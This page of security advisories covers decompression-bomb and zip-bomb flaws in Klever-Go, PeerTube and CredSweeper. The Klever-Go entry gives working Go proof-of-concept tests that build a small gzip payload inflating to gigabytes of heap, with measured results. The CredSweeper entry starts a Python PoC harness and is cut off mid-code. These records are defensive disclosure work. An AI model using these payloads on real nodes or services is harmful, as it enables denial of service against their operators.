The maintainer team is concurrently handling GHSA-74m6-4hjp-7226, which discloses an adjacent throttler-slot-leak finding in the same ProcessReceivedMessage function. The two CVEs are independently fixable per CNA Operational Rules, but operationally the patches must land in one release. rc2 will supersede rc1 and contain fixes for both advisories. Validators upgrade once.

Credits

Fernando Sobreira (maintainer, internal security review).

References

  • Reviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2
  • Related advisory: GHSA-74m6-4hjp-7226
  • CWE-409: https://cwe.mitre.org/data/definitions/409.html
  • CWE-770: https://cwe.mitre.org/data/definitions/770.html
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.7.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44697"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T01:36:27Z",
    "nvd_published_at": "2026-05-29T18:17:09Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA remote, unauthenticated denial-of-service vulnerability in\n`Batch.Decompress` (`data/batch/batch.go`) allows any peer that\nparticipates in a topic served by `MultiDataInterceptor` to allocate\nmulti-gigabyte heaps on the receiving node from a sub-50 KiB gossip\npayload. A single packet is sufficient to OOM-kill a validator with\nconventional memory provisioning. Fleet-wide application affects chain\nliveness.\n\nThe vulnerability was identified during an internal security review of\n`core/process/interceptors/multiDataInterceptor.go` at commit\n`405d01b0abbf0d3e73b4a990bd7394a01f200dc2`. It is distinct from, and\nsubstantially more severe than, the throttler-slot-leak vulnerability\ndisclosed in `GHSA-74m6-4hjp-7226`. Both reports cover adjacent code in\nthe same call path; the patches must land together in one release\n(rc2 superseding rc1).\n\nTwo additional, lower-severity hardening issues affecting the same code\npath are documented in this report and remediated by the same patch.\nThey are not independently exploitable under the default deployed\nanti-flood configuration and are not requested as separate CVEs.\n\n## Description\n\n`MultiDataInterceptor.ProcessReceivedMessage`\n(`core/process/interceptors/multiDataInterceptor.go:79`) handles every\ngossip message received on the topics the interceptor is registered for.\nAt lines 95\u2013102 it conditionally decompresses the payload via\n`Batch.Decompress`:\n\n```go\nif b.IsCompressed {\n    err = b.Decompress(mdi.marshalizer)\n    if err != nil { ... return err }\n}\n```\n\n`Batch.Decompress` (`data/batch/batch.go:109`) delegates the gzip step to\n`decompressGzip` (`data/batch/batch.go:35-53`), which performs an\nunbounded `io.ReadAll` on the gzip reader:\n\n```go\nfunc decompressGzip(data []byte) ([]byte, error) {\n    rdata := bytes.NewReader(data)\n    reader, err := gzip.NewReader(rdata)\n    if err != nil { return nil, err }\n    result, err := io.ReadAll(reader)   // no LimitReader, no DataSize check\n    ...\n}\n```\n\nAfter the gzip step succeeds, `Decompress` re-`Unmarshal`s the inflated\nbytes back into the `Batch` value, again with no size cap. The\nattacker-set `ba.DataSize` field is never validated on decompression, so\nthe lie is free.\n\nThe order of operations in `ProcessReceivedMessage`:\n\n```\npreProcessMessage              -\u003e anti-flood by COMPRESSED size only\nmarshalizer.Unmarshal(\u0026b, ..)  -\u003e outer Batch (small, cheap)\nb.Decompress(...)              -\u003e UNBOUNDED here  (bomb explodes)\n... b.Data populated with N entries ...\nantiflood.CanProcessMessagesOnTopic(..., uint32(len(b.Data)), ...)\n```\n\nThe count-budget anti-flood check at line 111 runs *after* `Decompress`\ncompletes, so no anti-flood configuration can prevent the explosion. The\nonly gate above `Decompress` is `preProcessMessage`\u0027s byte budget, which\nsees only the *compressed* payload size and is trivially satisfied by a\nsub-MB bomb.\n\n## Proof of Concept\n\nThe PoC is a self-contained Go test that exercises the real\n`data/batch.Batch.Decompress` function and the production\n`factory.ProtoMarshalizer`. No mocks. Both the attacker-side construction\n(marshal a `Batch` of millions of empty entries, gzip, wrap in an outer\ncompressed `Batch`) and the receiver-side path (`mrs.Unmarshal` \u2192 \n`received.Decompress(mrs)`) are exactly what runs in production at the\nreviewed commit.\n\nThe headline test (`TestC2_DecompressionBomb_ValidInner`) constructs a\n~48 KiB outer wire payload that decompresses to 25 million `[]byte`\nentries, and samples `runtime.HeapAlloc` every 5 ms during `Decompress`\nto capture the peak (since the inflated buffer is freed once `Decompress`\nreturns).\n\n### Test source\n\nPlace the file under `playground/p2pflood/c2_decompression_bomb_test.go`\nin a checkout of the reviewed commit, then run:\n\n```\ngo test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/...\n```\n\n```go\npackage p2pflood_test\n\nimport (\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"runtime\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/klever-io/klever-go/data/batch\"\n\t\"github.com/klever-io/klever-go/tools/marshal/factory\"\n)\n\nconst inflatedSize = 256 \u003c\u003c 20 // 256 MiB\n\n// buildGzipOfZeros: streams `size` zero bytes through a gzip writer.\n// A real attacker produces this offline; the streaming form here keeps\n// the test\u0027s own attacker-side allocation small.\nfunc buildGzipOfZeros(t *testing.T, size int) []byte {\n\tt.Helper()\n\tvar buf bytes.Buffer\n\tgz := gzip.NewWriter(\u0026buf)\n\tchunk := make([]byte, 1\u003c\u003c20)\n\tfor written := 0; written \u003c size; {\n\t\tn := len(chunk)\n\t\tif size-written \u003c n {\n\t\t\tn = size - written\n\t\t}\n\t\tif _, err := gz.Write(chunk[:n]); err != nil {\n\t\t\tt.Fatalf(\"gzip write: %v\", err)\n\t\t}\n\t\twritten += n\n\t}\n\tif err := gz.Close(); err != nil {\n\t\tt.Fatalf(\"gzip close: %v\", err)\n\t}\n\treturn buf.Bytes()\n}\n\n// peakHeapDuring samples runtime.HeapAlloc every 5 ms during fn() and\n// returns (peak, baseline). In-flight sampling is required because\n// Decompress\u0027s internal allocations may be reclaimed by GC before the\n// function returns.\nfunc peakHeapDuring(fn func()) (peak, baseline uint64) {\n\truntime.GC()\n\tvar ms runtime.MemStats\n\truntime.ReadMemStats(\u0026ms)\n\tbaseline = ms.HeapAlloc\n\n\tvar stop atomic.Bool\n\tpeakPtr := new(atomic.Uint64)\n\tpeakPtr.Store(baseline)\n\tdone := make(chan struct{})\n\tgo func() {\n\t\tticker := time.NewTicker(5 * time.Millisecond)\n\t\tdefer ticker.Stop()\n\t\tvar s runtime.MemStats\n\t\tfor !stop.Load() {\n\t\t\truntime.ReadMemStats(\u0026s)\n\t\t\tcur := s.HeapAlloc\n\t\t\tfor {\n\t\t\t\told := peakPtr.Load()\n\t\t\t\tif cur \u003c= old || peakPtr.CompareAndSwap(old, cur) {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\t\u003c-ticker.C\n\t\t}\n\t\tclose(done)\n\t}()\n\n\tfn()\n\n\tstop.Store(true)\n\t\u003c-done\n\treturn peakPtr.Load(), baseline\n}\n\n// TestC2_DecompressionBomb_RawZeros: floor-of-attack demonstration.\n// All-zeros inflated payload; inner Unmarshal-after-decompress fails,\n// but the gzip output buffer is already allocated.\nfunc TestC2_DecompressionBomb_RawZeros(t *testing.T) {\n\tmrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)\n\tif err != nil {\n\t\tt.Fatalf(\"marshalizer: %v\", err)\n\t}\n\n\tbombStream := buildGzipOfZeros(t, inflatedSize)\n\n\tbomb := \u0026batch.Batch{\n\t\tIsCompressed: true,\n\t\tAlgo:         batch.CType_GZip,\n\t\tStream:       bombStream,\n\t\tDataSize:     1, // a lie \u2014 Decompress ignores it\n\t}\n\twire, err := mrs.Marshal(bomb)\n\tif err != nil {\n\t\tt.Fatalf(\"marshal: %v\", err)\n\t}\n\n\tt.Logf(\"  wire payload (after Marshal): %d bytes (%.2f KiB)\",\n\t\tlen(wire), float64(len(wire))/1024.0)\n\tt.Logf(\"  advertised DataSize:          %d\", bomb.DataSize)\n\tt.Logf(\"  actual decompressed size:     %d bytes (%.2f MiB)\",\n\t\tinflatedSize, float64(inflatedSize)/(1\u003c\u003c20))\n\n\tbomb = nil\n\tbombStream = nil\n\truntime.GC()\n\n\treceived := \u0026batch.Batch{}\n\tif err := mrs.Unmarshal(received, wire); err != nil {\n\t\tt.Fatalf(\"receiver outer unmarshal: %v\", err)\n\t}\n\tif !received.IsCompressed {\n\t\tt.Fatalf(\"expected IsCompressed=true after outer unmarshal\")\n\t}\n\n\tstart := time.Now()\n\tvar decompressErr error\n\tpeak, baseline := peakHeapDuring(func() {\n\t\tdecompressErr = received.Decompress(mrs)\n\t})\n\telapsed := time.Since(start)\n\n\tallocated := peak - baseline\n\tamp := float64(allocated) / float64(len(wire))\n\tt.Logf(\"  Decompress error: %v (irrelevant \u2014 heap already allocated)\", decompressErr)\n\tt.Logf(\"  peak heap during Decompress: +%d bytes (%.2f MiB)\",\n\t\tallocated, float64(allocated)/(1\u003c\u003c20))\n\tt.Logf(\"  elapsed: %v\", elapsed)\n\tt.Logf(\"  amplification: %.0fx (wire -\u003e heap)\", amp)\n\n\tif allocated \u003c uint64(inflatedSize/2) {\n\t\tt.Fatalf(\"heap delta only %.2f MiB \u2014 vuln may already be patched\",\n\t\t\tfloat64(allocated)/(1\u003c\u003c20))\n\t}\n\tif amp \u003c 100 {\n\t\tt.Fatalf(\"amplification only %.1fx \u2014 expected \u003e\u003e100x\", amp)\n\t}\n}\n\n// TestC2_DecompressionBomb_ValidInner: realistic ceiling \u2014 gzip stream\n// decompresses to a valid marshaled Batch with N=25M empty entries.\n// Decompress\u0027s internal Unmarshal succeeds and additionally allocates\n// the [][]byte slice. All before any count-based anti-flood runs.\nfunc TestC2_DecompressionBomb_ValidInner(t *testing.T) {\n\tmrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)\n\tif err != nil {\n\t\tt.Fatalf(\"marshalizer: %v\", err)\n\t}\n\n\tconst N = 25_000_000\n\n\tinnerBatch := \u0026batch.Batch{Data: make([][]byte, N)}\n\tinnerWire, err := mrs.Marshal(innerBatch)\n\tif err != nil {\n\t\tt.Fatalf(\"inner marshal: %v\", err)\n\t}\n\tinnerBatch = nil\n\truntime.GC()\n\n\tvar compressed bytes.Buffer\n\tgz := gzip.NewWriter(\u0026compressed)\n\tif _, err := gz.Write(innerWire); err != nil {\n\t\tt.Fatalf(\"gz write: %v\", err)\n\t}\n\tif err := gz.Close(); err != nil {\n\t\tt.Fatalf(\"gz close: %v\", err)\n\t}\n\tinnerWireLen := len(innerWire)\n\tinnerWire = nil\n\truntime.GC()\n\n\tbomb := \u0026batch.Batch{\n\t\tIsCompressed: true,\n\t\tAlgo:         batch.CType_GZip,\n\t\tStream:       compressed.Bytes(),\n\t\tDataSize:     1,\n\t}\n\twire, err := mrs.Marshal(bomb)\n\tif err != nil {\n\t\tt.Fatalf(\"outer marshal: %v\", err)\n\t}\n\tt.Logf(\"  inner wire (uncompressed):    %d bytes (%.2f MiB)\",\n\t\tinnerWireLen, float64(innerWireLen)/(1\u003c\u003c20))\n\tt.Logf(\"  outer wire (gzip-wrapped):    %d bytes (%.2f KiB)\",\n\t\tlen(wire), float64(len(wire))/1024.0)\n\tt.Logf(\"  inner -\u003e outer compression:   %.0fx\",\n\t\tfloat64(innerWireLen)/float64(len(wire)))\n\n\tbomb = nil\n\tcompressed.Reset()\n\truntime.GC()\n\n\treceived := \u0026batch.Batch{}\n\tif err := mrs.Unmarshal(received, wire); err != nil {\n\t\tt.Fatalf(\"receiver outer unmarshal: %v\", err)\n\t}\n\n\tstart := time.Now()\n\tvar decompressErr error\n\tpeak, baseline := peakHeapDuring(func() {\n\t\t// Mirrors multiDataInterceptor.go:96 exactly. Runs BEFORE the\n\t\t// count-budget anti-flood at line 111.\n\t\tdecompressErr = received.Decompress(mrs)\n\t})\n\telapsed := time.Since(start)\n\n\tallocated := peak - baseline\n\tamp := float64(allocated) / float64(len(wire))\n\tt.Logf(\"  Decompress returned: %v\", decompressErr)\n\tt.Logf(\"  Decompressed b.Data length: %d (matches N=%d? %v)\",\n\t\tlen(received.Data), N, len(received.Data) == N)\n\tt.Logf(\"  peak heap during Decompress: +%d bytes (%.2f MiB)\",\n\t\tallocated, float64(allocated)/(1\u003c\u003c20))\n\tt.Logf(\"  elapsed: %v\", elapsed)\n\tt.Logf(\"  amplification: %.0fx (wire -\u003e heap)\", amp)\n\n\tif decompressErr != nil {\n\t\tt.Fatalf(\"Decompress unexpectedly failed: %v\", decompressErr)\n\t}\n\tif len(received.Data) != N {\n\t\tt.Fatalf(\"inner Unmarshal lost entries: got %d want %d\",\n\t\t\tlen(received.Data), N)\n\t}\n\tif allocated \u003c 256\u003c\u003c20 {\n\t\tt.Fatalf(\"heap delta only %.2f MiB \u2014 expected \u003e256 MiB\",\n\t\t\tfloat64(allocated)/(1\u003c\u003c20))\n\t}\n\truntime.KeepAlive(received)\n}\n```\n\n### Measured output\n\nApple-silicon dev machine, `go 1.25`, against commit\n`405d01b0abbf0d3e73b4a990bd7394a01f200dc2`:\n\n```\n=== RUN   TestC2_DecompressionBomb_RawZeros\n      wire payload (after Marshal): 260938 bytes (254.82 KiB)\n      advertised DataSize:          1\n      actual decompressed size:     268435456 bytes (256.00 MiB)\n      Decompress error: proto: cannot parse invalid wire-format data (irrelevant \u2014 heap already allocated)\n      peak heap during Decompress: +887994584 bytes (846.86 MiB)\n      elapsed: 155.79ms\n      amplification: 3403x (wire -\u003e heap)\n--- PASS: TestC2_DecompressionBomb_RawZeros (0.52s)\n\n=== RUN   TestC2_DecompressionBomb_ValidInner\n      inner wire (uncompressed):    50000000 bytes (47.68 MiB)\n      outer wire (gzip-wrapped):    48642 bytes (47.50 KiB)\n      inner -\u003e outer compression:   1028x\n      Decompress returned: \u003cnil\u003e\n      Decompressed b.Data length: 25000000 (matches N=25000000? true)\n      peak heap during Decompress: +2218262232 bytes (2115.50 MiB)\n      elapsed: 582.92ms\n      amplification: 45604x (wire -\u003e heap)\n--- PASS: TestC2_DecompressionBomb_ValidInner (0.75s)\n```\n\nReproduction: any commit that includes `data/batch/batch.go` in its\ncurrent `decompressGzip`/`Decompress` form. The PoC does not depend on\nlibp2p, the live interceptor stack, or any deployed configuration \u2014 the\nbug is in `Batch.Decompress` itself; any caller that reaches it pays\nfor the unbounded allocation.\n\nThe PoC sources (along with a companion test for the bundled\nslice-prealloc finding) live under `playground/p2pflood/` on the\nmaintainer\u0027s local workstation and have not been pushed to any branch.\nThey will be converted into a regression-test suite alongside the patch\nin the private fork.\n\n## Impact\n\nA single connected peer publishing on a topic served by\n`MultiDataInterceptor` (which on a public chain includes any anonymous\ngossip publisher) can cause the receiving node to allocate 2+ GiB of\nheap in under one second per packet.\n\nWith the default deployed configuration\n(`peerMaxInput.totalSizePerInterval: 4194304` = 4 MiB/s per peer), an\nattacker can ship roughly 80 such bombs per second per connected peer\nbefore tripping the per-peer byte budget. The per-peer message count\nlimit (`baseMessagesPerInterval: 140` per fastReacting interval, 1000\nbefore blacklisting) is high enough to permit the attack to run for\nseveral seconds before any blacklist activates. By that point the node\nprocess is already OOM-killed.\n\nRealistic attack scenarios:\n\n* A single attacker connected to one validator can OOM that validator\n  in under a second (one bomb suffices on memory-constrained nodes).\n* A small number of malicious peers spread across the validator fleet\n  can OOM the entire fleet within a single block-production interval,\n  affecting chain liveness.\n* Eclipse-attack composition: the cost is paid before any peer\n  reputation logic runs, so the attack works regardless of whether the\n  receiver attributes the message to originator or relayer.\n\n## Affected Code\n\n* `data/batch/batch.go:35-53`   \u2014 `decompressGzip`, unbounded `io.ReadAll`\n* `data/batch/batch.go:109-137` \u2014 `Batch.Decompress`, ignores `DataSize`,\n                                   re-`Unmarshal`s inflated bytes\n* `core/process/interceptors/multiDataInterceptor.go:95-102` \u2014 call site\n* `core/process/interceptors/multiDataInterceptor.go:84-94`  \u2014 preceding\n                                   `Unmarshal` step\n\n## Patches\n\nA patch is in preparation on a private branch and will land in rc2,\ntogether with the fix for `GHSA-74m6-4hjp-7226`. The intended fix\nshape:\n\n```go\nconst maxInflatedBatch = 64 * 1024 * 1024 // 64 MiB hard ceiling; tune per topic\n\nfunc decompressGzip(data []byte, max int64) ([]byte, error) {\n    r, err := gzip.NewReader(bytes.NewReader(data))\n    if err != nil { return nil, err }\n    defer r.Close()\n    lr := io.LimitReader(r, max+1)\n    out, err := io.ReadAll(lr)\n    if err != nil { return nil, err }\n    if int64(len(out)) \u003e max {\n        return nil, ErrDecompressionTooLarge\n    }\n    return out, nil\n}\n\nfunc (ba *Batch) Decompress(m marshal.Marshalizer) error {\n    if !ba.IsCompressed { return common.ErrNotCompressed }\n    if ba.DataSize \u003e maxInflatedBatch {\n        return ErrDecompressionTooLarge\n    }\n    result, err := decompressGzip(ba.Stream, maxInflatedBatch)\n    if err != nil { return err }\n    if int64(len(result)) != int64(ba.DataSize) \u0026\u0026 ba.DataSize \u003e 0 {\n        return ErrDecompressedSizeMismatch\n    }\n    if err := m.Unmarshal(ba, result); err != nil { return err }\n    ba.Stream, ba.IsCompressed = nil, false\n    return nil\n}\n```\n\nThe cap value should be selected per topic. A 64 MiB ceiling preserves\nbackward compatibility for legitimate large batches while reducing the\nworst-case allocation by \u224830\u00d7 relative to the measured PoC and \u2248400\u00d7\nrelative to the upper bound of an uncapped attack.\n\nA regression test based on the PoC will accompany the patch.\n\n## Workarounds\n\nNone at the configuration level. The `peerMaxInput.totalSizePerInterval`\nbudget could theoretically be lowered, but as the PoC measurements show,\na single bomb is already lethal on memory-constrained nodes. Patch is\nrequired.\n\n## Bundled Hardening (no separate CVE)\n\nThe following two issues were identified in the same call path during\nthe review. They are not independently exploitable under the default\ndeployed `defaultMaxMessagesPerSec: 35000` per-topic anti-flood limit\nand so do not warrant their own CVEs. They are remediated by the same\npatch as the headline vulnerability and are documented here for\ntransparency.\n\n### Bundled #1 \u2014 Slice pre-allocation amplification (CWE-789, CWE-770)\n\n`multiDataInterceptor.go:123` performs:\n\n```go\nlistInterceptedData := make([]process.InterceptedData, len(multiDataBuff))\n```\n\n`len(multiDataBuff)` is `len(b.Data)` after `Unmarshal` and `Decompress`,\nboth of which are attacker-controlled. Under the default per-topic\ncount budget this is bounded; a deployer who loosens that budget, or\nany future code path that bypasses it, would expose \u224816 bytes \u00d7\nattacker-chosen-N of allocation. The same patch caps `len(b.Data)`\nimmediately after `Unmarshal`, again after `Decompress`, and before the\nmake.\n\nThe unconditional component of this finding \u2014 that `Decompress`\u0027s\ninternal `Unmarshal` populates `b.Data` with N `[]byte` slice headers\n(24 B each) before any count-budget check runs \u2014 is captured by the\nheadline finding\u0027s PoC.\n\n### Bundled #2 \u2014 Self-message anti-flood bypass (CWE-290, CWE-693)\n\n`baseDataInterceptor.go:32` exempts messages from anti-flood enforcement\nwhen:\n\n```go\nbytes.Equal(m.Signature(), m.From()) \u0026\u0026\nbytes.Equal(m.From(), bdi.currentPeerID.Bytes()) \u0026\u0026\nfromConnectedPeer == bdi.currentPeerID\n```\n\nThe first equality is a sentinel byte comparison, not a cryptographic\ncheck. Exploitability depends on whether the upstream libp2p stack\nverifies envelope signatures before reaching `preProcessMessage`. The\npatch replaces the sentinel with a defense-in-depth check and ensures\nthrottler accounting still runs on the self-message path.\n\n## Coordination with `GHSA-74m6-4hjp-7226`\n\nThe maintainer team is concurrently handling `GHSA-74m6-4hjp-7226`,\nwhich discloses an adjacent throttler-slot-leak finding in the same\n`ProcessReceivedMessage` function. The two CVEs are independently\nfixable per CNA Operational Rules, but operationally the patches must\nland in one release. rc2 will supersede rc1 and contain fixes for both\nadvisories. Validators upgrade once.\n\n\n## Credits\n\nFernando Sobreira (maintainer, internal security review).\n\n## References\n\n* Reviewed commit: `405d01b0abbf0d3e73b4a990bd7394a01f200dc2`\n* Related advisory: `GHSA-74m6-4hjp-7226`\n* CWE-409: https://cwe.mitre.org/data/definitions/409.html\n* CWE-770: https://cwe.mitre.org/data/definitions/770.html",
  "id": "GHSA-87m7-qffr-542v",
  "modified": "2026-05-29T21:57:08Z",
  "published": "2026-05-13T01:36:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-87m7-qffr-542v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44697"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Klever-Go MultiDataInterceptor has remote OOM via crafted compressed P2P payload"
}

GHSA-89C2-GVR7-7R9W

Vulnerability from github – Published: 2025-04-15 15:30 – Updated: 2025-04-15 15:30
VLAI
Details

This vulnerability allows any authenticated user to cause the server to consume very large amounts of disk space when extracting a Zip Bomb.

If user import is enabled (which is the default setting), any registered user can upload an archive for importing. The code uses the yauzl library for reading the archive. The yauzl library does not contain any mechanism to detect or prevent extraction of a Zip Bomb https://en.wikipedia.org/wiki/Zip_bomb . Therefore, when using the User Import functionality with a Zip Bomb, PeerTube will try extracting the archive which will cause a disk space resource exhaustion.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-32949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-15T15:16:09Z",
    "severity": "MODERATE"
  },
  "details": "This vulnerability allows any authenticated user to cause the server to consume very large amounts of disk space when extracting a Zip Bomb. \n\nIf user import is enabled (which is the default setting), any registered user can upload an archive for importing. The code uses the yauzl library for reading the archive. The yauzl library does not contain any mechanism to detect or prevent extraction of a  Zip Bomb https://en.wikipedia.org/wiki/Zip_bomb . Therefore, when using the User Import functionality with a Zip Bomb, PeerTube will try extracting the archive which will cause a disk space resource exhaustion.",
  "id": "GHSA-89c2-gvr7-7r9w",
  "modified": "2025-04-15T15:30:54Z",
  "published": "2025-04-15T15:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32949"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Chocobozzz/PeerTube/releases/tag/v7.1.1"
    },
    {
      "type": "WEB",
      "url": "https://research.jfrog.com/vulnerabilities/peertube-archive-resource-exhaustion"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9MQM-QCWF-5QHG

Vulnerability from github – Published: 2026-07-10 19:25 – Updated: 2026-07-10 19:25
VLAI
Summary
CredSweeper: Recursive archive size-limit bypass in deep scanner allows crafted compressed inputs to exhaust resources
Details

Summary

CredSweeper's deep scanner does not enforce recursive_limit_size as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and AbstractScanner.recursive_scan() continues processing even when the residual budget is already negative.

This allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (--depth > 0). I confirmed this on upstream commit 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6 / package version 1.15.8.

The issue has two closely related exploitation paths that share the same root cause:

  1. Single-stream decompressor bypass: gzip, bzip2, and lzma/xz inputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative.

  2. Multi-entry archive cumulative-budget bypass: zip and tar entries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate.

The impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue.

Details

The vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively.

The relevant call chain is:

  • credsweeper/app.py:323 self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)
  • credsweeper/deep_scanner/abstract_scanner.py:269-305 The initial deep-scan entry point passes a recursive size budget into nested scanners.
  • credsweeper/deep_scanner/abstract_scanner.py:58-94 recursive_scan() stops only on:
  • negative depth
  • data shorter than MIN_DATA_LEN It does not stop when recursive_limit_size is negative.

Exact source-level issue:

  1. Negative budgets are still accepted

credsweeper/deep_scanner/abstract_scanner.py:71-91

if 0 > depth:
    return candidates
depth -= 1
if MIN_DATA_LEN > len(data_provider.data):
    return candidates
...
new_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size)

There is no guard such as if recursive_limit_size < 0: return.

  1. Full decompression happens before any hard budget enforcement

credsweeper/deep_scanner/gzip_scanner.py:33-43

with gzip.open(io.BytesIO(data_provider.data)) as f:
    gzip_content_provider = DataContentProvider(data=f.read(), ...)
    new_limit = recursive_limit_size - len(gzip_content_provider.data)
    gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit)

credsweeper/deep_scanner/bzip2_scanner.py:38-43

bzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...)
new_limit = recursive_limit_size - len(bzip2_content_provider.data)
bzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit)

credsweeper/deep_scanner/lzma_scanner.py:38-43

lzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...)
new_limit = recursive_limit_size - len(lzma_content_provider.data)
lzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit)

The decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because recursive_scan() accepts negative budgets, the oversize content is still scanned.

  1. Multi-entry archives use per-entry checks instead of a shared cumulative budget

credsweeper/deep_scanner/zip_scanner.py:49-60

if 0 > recursive_limit_size - zfl.file_size:
    continue
with zf.open(zfl) as f:
    zip_content_provider = DataContentProvider(data=f.read(), ...)
    new_limit = recursive_limit_size - len(zip_content_provider.data)
    zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit)

credsweeper/deep_scanner/tar_scanner.py:48-59

if 0 > recursive_limit_size - tfi.size:
    continue
with tf.extractfile(tfi) as f:
    tar_content_provider = DataContentProvider(data=f.read(), ...)
    new_limit = recursive_limit_size - len(tar_content_provider.data)
    tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit)

These checks use the same original recursive_limit_size for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a zip or tar with many individually small files can exceed the intended aggregate extraction limit.

  1. Same code pattern is also present in RPM scanning

credsweeper/deep_scanner/rpm_scanner.py:42-51

The RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same.

Version scope:

  • The vulnerable recursive scanning logic was introduced by commit 0bd8fe56ad2e08b12d47677f7dbe1a75913969ae.
  • The last release before that commit is v1.4.8.
  • The first release containing that commit is v1.4.9.
  • Current upstream HEAD and package version 1.15.8 are still affected.

PoC

I reproduced the issue on:

  • Repository: https://github.com/Samsung/CredSweeper
  • Commit: 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6
  • Version: 1.15.8

I used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python's standard library.

Reproduction steps:

  1. Clone the repository:
git clone https://github.com/Samsung/CredSweeper.git
cd CredSweeper
git checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6
  1. Save the following as proof_poc.py one directory above the repository, or adjust REPO_ROOT accordingly:
import bz2
import gzip
import importlib.util
import io
import json
import lzma
import os
import subprocess
import sys
import tarfile
import types
import zipfile

REPO_ROOT = os.path.abspath(os.environ.get("CREDSWEEPER_REPO", "CredSweeper"))
SOURCE_ROOT = os.path.join(REPO_ROOT, "credsweeper")

def load_module(name, relpath):
    spec = importlib.util.spec_from_file_location(name, os.path.join(SOURCE_ROOT, relpath))
    module = importlib.util.module_from_spec(spec)
    sys.modules[name] = module
    spec.loader.exec_module(module)
    return module

def reset_credsweeper_modules():
    for name in list(sys.modules):
        if name == "credsweeper" or name.startswith("credsweeper."):
            del sys.modules[name]

def install_common_stubs():
    for name in [
        "credsweeper",
        "credsweeper.common",
        "credsweeper.config",
        "credsweeper.credentials",
        "credsweeper.deep_scanner",
        "credsweeper.file_handler",
        "credsweeper.scanner",
        "credsweeper.utils",
    ]:
        module = types.ModuleType(name)
        module.__path__ = []
        sys.modules[name] = module

    constants_module = types.ModuleType("credsweeper.common.constants")
    constants_module.RECURSIVE_SCAN_LIMITATION = 1 << 30
    constants_module.MIN_DATA_LEN = 8
    constants_module.DEFAULT_ENCODING = "utf_8"
    constants_module.UTF_8 = "utf_8"
    constants_module.MIN_VALUE_LENGTH = 4
    sys.modules["credsweeper.common.constants"] = constants_module

    config_module = types.ModuleType("credsweeper.config.config")
    class Config: pass
    config_module.Config = Config
    sys.modules["credsweeper.config.config"] = config_module

    candidate_module = types.ModuleType("credsweeper.credentials.candidate")
    class Candidate:
        @staticmethod
        def get_dummy_candidate(*_args, **_kwargs):
            return "dummy"
    candidate_module.Candidate = Candidate
    sys.modules["credsweeper.credentials.candidate"] = candidate_module

    augment_module = types.ModuleType("credsweeper.credentials.augment_candidates")
    def augment_candidates(dst, src):
        if src:
            dst.extend(src)
    augment_module.augment_candidates = augment_candidates
    sys.modules["credsweeper.credentials.augment_candidates"] = augment_module

    descriptor_module = types.ModuleType("credsweeper.file_handler.descriptor")
    class Descriptor:
        def __init__(self, extension="", info=""):
            self.extension = extension
            self.info = info
    descriptor_module.Descriptor = Descriptor
    sys.modules["credsweeper.file_handler.descriptor"] = descriptor_module

    file_path_extractor_module = types.ModuleType("credsweeper.file_handler.file_path_extractor")
    class FilePathExtractor:
        FIND_BY_EXT_RULE = "Suspicious File Extension"
        @staticmethod
